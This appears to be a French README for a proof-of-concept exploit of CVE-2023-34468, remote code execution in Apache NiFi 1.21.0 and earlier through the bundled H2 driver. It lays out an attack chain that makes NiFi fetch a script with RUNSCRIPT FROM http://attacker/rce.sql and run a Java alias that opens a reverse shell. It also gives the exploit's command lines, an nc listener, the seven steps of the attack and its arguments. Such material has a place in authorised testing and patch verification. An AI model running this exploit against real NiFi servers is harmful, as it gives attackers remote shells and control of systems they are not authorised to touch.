
Exploit PoC pour CVE-2023-34468 — RCE via H2 RUNSCRIPT dans Apache NiFi <= 1.21.0
Exécution de code à distance via H2 Database RUNSCRIPT dans Apache NiFi <= 1.21.0
Apache NiFi est livré avec un JAR de base de données H2 inclus par défaut. Le service de contrôle DBCPConnectionPool
peut être configuré pour utiliser ce pilote H2. H2 prend en charge une instruction RUNSCRIPT
qui récupère et exécute un fichier SQL depuis une URL distante. Ce fichier SQL peut définir
du code Java arbitraire via CREATE ALIAS et l'exécuter sur le système d'exploitation du serveur.
Chaîne d'attaque :
DBCPConnectionPool (H2 driver)
→ ExecuteSQL processor
→ RUNSCRIPT FROM http://attacker/rce.sql
→ CREATE ALIAS (Java method)
→ CALL SHELLEXEC (reverse shell)
| Logiciel | Version |
|---|---|
| Apache NiFi | <= 1.21.0 |
| Corrigé dans | 1.21.1+ |
| Java | Toute (fournie) |
requests → pip install requestspython3 poc.py --target http://NiFi.target.com \
--lhost 10.10.10.10 \
--lport 4444 \
--http-port 80 \
--cleanup
Terminal 1 — listener :
nc -lvnp 4444
Terminal 2 — exploit :
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup
Step 1 Check anonymous access and write permissions
Step 2 Get root Process Group ID
Step 3 Create malicious DBCPConnectionPool controller service
Step 4 Enable the controller service (handles revision versioning)
Step 5 Create ExecuteSQL processor pointing to rce.sql on our HTTP server
Step 6 Start the processor → NiFi fetches rce.sql → shell callback
Step 7 Cleanup (if --cleanup flag is set)
| Argument | Défaut | Description |
|---|
--target | http://NiFi.target.com | URL de base de la cible NiFi |
--lhost | 10.10.10.10 | Votre IP (tun0) |
--lport | 4444 | Port d'écoute du shell inversé |
--http-port | 80 | Port pour servir rce.sql |
--cleanup | False | Supprimer les artefacts créés après exécution |